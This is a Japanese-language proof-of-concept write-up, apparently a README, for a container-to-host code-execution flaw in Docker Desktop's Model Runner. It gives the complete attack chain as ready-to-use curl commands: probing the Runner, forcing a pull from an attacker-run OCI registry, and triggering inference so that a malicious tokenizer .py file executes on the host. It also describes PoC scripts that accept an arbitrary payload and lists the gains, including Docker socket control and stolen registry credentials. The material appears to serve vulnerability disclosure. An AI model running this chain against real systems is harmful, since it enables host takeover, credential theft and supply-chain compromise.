
Docker Model Runner container-to-host RCE / Escape: Docker Model Runner の MLX / SGLANG / VLLM 推論バックエンドにおいて、コンテナからホストへのコード実行を可能にする重大な脆弱性。
Docker Desktop (4.40.0〜4.67.x) ホスト上の任意のコンテナは、2つのHTTPリクエストでホスト上でコードを実行できます。ソケットのマウントも --privileged もケーパビリティも不要です。
すべてのコンテナは、認証なしで model-runner.docker.internal のModel Runnerに到達できます。Model Runnerは、指定された任意のOCIレジストリからモデルをプルし、ダイジェストを検証せずに保存します。Pythonバックエンド(vLLM、MLX、SGLang)は trust_remote_code=True でモデルをロードします(MLXの場合は、設定入力でtrust remote codeを認識することすらありません)。これにより、モデルが tokenizer_config.json で参照する任意の .py ファイルがインポートされます。その .py はデスクトップユーザーとして実行されます。
初期状態: 攻撃者はホスト上の任意のコンテナ内でコード実行権限を持っています。敵対的なベースイメージ、開発ワークスペースへの悪意のあるnpm/pipインストール、攻撃者が制御するコードを実行するCIランナーなど。Dockerソケットのマウントも --privileged も追加のケーパビリティもありません。
Model Runnerをプローブする。
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200が返れば、Model Runnerが起動しており、このコンテナから到達可能です。認証もOriginヘッダーも不要です。
悪意のあるOCIレジストリを立ち上げる。 OCI distribution specに対応した任意のHTTPサーバーで動作します。レジストリはホストから到達可能である必要があります(Model Runnerはコンテナ内ではなくホスト上で実行されます)。パブリックインターネット上にホストするか、ローカルで実行してポートを公開します(このPoCでは docker-compose.yml が後者を行います)。tokenizer_config.json に evil_tokenizer.py を指す auto_map を持つ最小限の有効なLlamaモデルを配信します。evil_tokenizer.py がホスト上のペイロードです。rce_registry.py を参照してください。
Model Runnerに自分のレジストリからプルさせる。
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runnerはマニフェストをダウンロードし、次にすべてのblobをダウンロードして、ディスク上のストアに書き込みます。ダイジェストの再計算や比較は行われず、署名チェックもありません。これで悪意のあるモデルがインストールされます。
モデルがロードされるように推論をトリガーする。
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
rce_registry.py:45-105 の行を任意のペイロードに置き換えてください。
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
証明は /tmp/poc_rce_proof に作成されます。
rce_registry.py - 偽のOCIレジストリ。最小限のLlamaモデルと evil_tokenizer.py を配信しますtest_claims.py - 各主張をソースコードと実行中のシステムに対して検証しますrun_poc.sh - ラッパーdocker-compose.yml - レジストリ + 非特権の攻撃者コンテナDockerfile.registry、Dockerfile.attacker - イメージModel RunnerはPythonバックエンド(vLLM、MLX、SGLang)を選択し、保存されたモデルを指す --model <bundle_dir> を指定して起動します。バックエンドは AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True) を呼び出します。Transformersは tokenizer_config.json を読み取り、auto_map を認識して、バンドルディレクトリから evil_tokenizer.py をインポートします。モジュールレベルのコードはインポート時に実行されます。
ペイロードがホスト上で実行される。 Docker Desktopユーザーとして、任意のコンテナの外側で、そのユーザーの完全なファイルシステムとネットワークアクセス権限で実行されます。推論自体は通常失敗します(モデルが小さすぎて実際には実行できない)が、それは問題ではありません。インポートが先に発生するからです。
これによって攻撃者が得られるもの。
/var/run/docker.sock に到達可能。デーモン制御: 特権コンテナの作成、その1つへのホストファイルシステムのマウント、他のコンテナへのexecなど。~/.docker/config.json には、ユーザーがログインしているすべてのレジストリの認証情報が含まれます。サプライチェーンへの足掛かり: 悪意のあるイメージを上流にプッシュします。